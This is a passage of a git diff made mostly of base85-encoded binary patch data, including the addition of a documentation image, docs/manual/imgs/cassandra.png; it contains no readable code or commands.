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 G=KleSMd6YF literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/cassandra.png b/docs/manual/imgs/cassandra.png new file mode 100644 index 0000000000000000000000000000000000000000..177b66f667b06ee66b75970f6704b75d49c1a293 GIT binary patch literal 25008 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 